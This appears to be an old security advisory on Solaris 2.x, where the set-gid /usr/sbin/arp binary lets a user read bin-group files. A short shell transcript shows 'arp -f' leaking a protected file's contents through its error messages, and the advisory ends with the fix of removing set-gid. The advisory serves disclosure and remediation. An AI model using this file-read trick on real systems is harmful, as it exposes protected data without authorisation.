COMMAND
/usr/sbin/arp
SYSTEMS AFFECTED
Solaris 2.x
PROBLEM
Brock Tellier found following. /usr/sbin/arp can be used to read
bin-owned files. All testing was done on Solaris 2.7 and 2.6
SPARC edition.
bash-2.02$ ls -la /etc/bin
-rw-rw---- 1 bin bin 45 Nov 15 16:44 /etc/bin
bash-2.02$ cat /etc/bin
cat: cannot open /etc/bin
bash-2.02$ /usr/sbin/arp -f /etc/bin
arp: bad line: seekret1
arp: bad line: seekret2
arp: bad line: seekret3
arp: bad line: seekret4
arp: bad line: seekret5
bash-2.02$
Larry W. Cashdollar confirmed it on 2.5.1.
SOLUTION
You can safely remove the set-gid bin from arp. No need to be
suid in any case.